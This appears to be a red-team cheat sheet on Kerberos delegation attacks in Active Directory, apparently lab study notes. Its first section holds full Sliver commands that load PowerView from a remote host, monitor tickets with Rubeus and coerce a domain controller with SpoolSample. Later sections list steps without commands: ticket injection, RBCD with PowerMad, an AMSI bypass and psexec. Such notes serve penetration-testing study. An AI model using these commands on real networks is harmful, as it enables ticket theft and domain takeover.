githubEdit

Kerberos Attacks

Unconstrained Delegation

Based on a machine having unconstrained delegation rights.

1) Find out computers/users with Unconstrained Delegation

sharpsh -- -u 'http://10.10.10.11/powershell-scripts/PowerView.ps1' -c '"Get-DomainComputer -UnConstrained"'
sharpsh -- -u 'http://10.10.10.11/powershell-scripts/PowerView.ps1' -c '"Get-DomainUser -UnConstrained"'

2) Now open two sliver sessions, both should be as the machine account itself (perform getsystem if working as a local admin)

rubeus -t 30 -- monitor /interval:5 /runfor:15 /filteruser:DC06$ /nowrap
rubeus -t 30 -- monitor /interval:5 /runfor:15 /nowrap

3) Open another sliver session and use the session to run SpoolSample/SharpSpoolTrigger to coerce - SharpSpoolTrigger is preferred

execute-assembly -t 20 /home/kali/tools/bins/csharp-files/SpoolSample.exe DC06 machine06
execute-assembly -t 20 /home/kali/tools/bins/csharp-files/SharpSpoolTrigger.exe DC06 machine06

4) Confirm current tickets

execute -o klist

5) We should now have the TGT, inject into current process or launch new one with cmds in shell duplication

6) Check if new ticket is injected

Constrained Delegation

Machine

1) Check machines for constrained delegation

2) Get CIFS ticket and inject in current session

OR Create a new process with Rubeus - Requires admin access to create and inject ticket within it

3) Migrate into the created process

4) Get the current tickets

5) Do altservice for the host, http/host/cifs

6) Check tickets again

7) We can now access C$ on the host

User

1) Check users for constrained delegation

2) Convert password into NTLM

3) Get CIFS ticket and inject in current session

4) Get the current tickets

5) Do altservice for the host

6) Check tickets again

7) We can now access C$ on the host

Linux

1) Get Ticket for machine03

2) Declare as var

Don't use full FQDN or it causes SMB errors

Or use impacket-atexec which should get the sliver session directly

Resource-Based Constrained Delegation RBCD

GenericWrite

1) Find machine quota if we can create new computer objects

2) Load PowerMad tool to create new computer object

3) Check if the computer object is created

AMSI Bypass for interactive shell within sliver (in case sharpsh won't work)

Loading PowerView in powershell (in case sharpsh won't work)

4) Get the binary length of the computer - As our user has GenericWrite on the machine08, we can update its attributes. Printing $ExecutionContext.SessionState.LanguageMode just in case to see output if it worked

5) Verify the changes we did - is the msds-allowedtoactonbehalfofotheridentity now present?

6) Generate NTLM hash of the password

7) Create the ticket and inject in current session

OR Create a new process with Rubeus - Requires admin access to add ticket within it

8) Migrate into the created process

9) Get the current tickets

10) Check the details of appsrv01

11) Run psexec now on appsrv01 and get shell access

Last updated